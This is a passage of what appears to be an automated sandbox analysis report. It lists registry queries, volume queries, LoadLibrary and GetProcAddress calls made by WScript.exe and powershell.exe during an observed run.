"HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")3e:Tc4c,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "")3f:T11f9,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006896-00000C17-618826477 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00006896-00000C17-618829082 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006896-00000C17-618945750 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00006896-00000C17-618948737 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-620815969 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll" at 00000000-00006896-00000C17-621347867 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00006896-00000C17-621354406 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006896-00000C17-621702022 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00006896-00000C17-622722668 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006896-00000C17-623000117 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006896-00000C17-623772486 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-625402123 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-625504298 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-625652492 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll" at 00000000-00006896-00000C17-625699289 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll" at 00000000-00006896-00000C17-625702310 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-625824356 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.19041.6456.cat" at 00000000-00006896-00000C17-625927087 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00006896-00000C17-628299013 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll" at 00000000-00006896-00000C17-62830173740:T4ed,"WScript.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "WScript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")41:T3083,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005240) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005240) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\9594c82af7b396b5ee8b0ef1d461cea2\System.Configuration.Install. (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Serv759bfb78#\087c3391dd8ec1328391fec5e2c4d553\System.ServiceProcess.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\908b5c1debcfb784bc25157a8ebcdfbe\System.Drawing.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\061200dcb8937e1b9eb2641f2ce9d2ec\System.Windows.Forms.ni.dll (UID: 00000000-00006896) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006896)42:Ta949,"WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005240) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00005240) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006896) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006896) 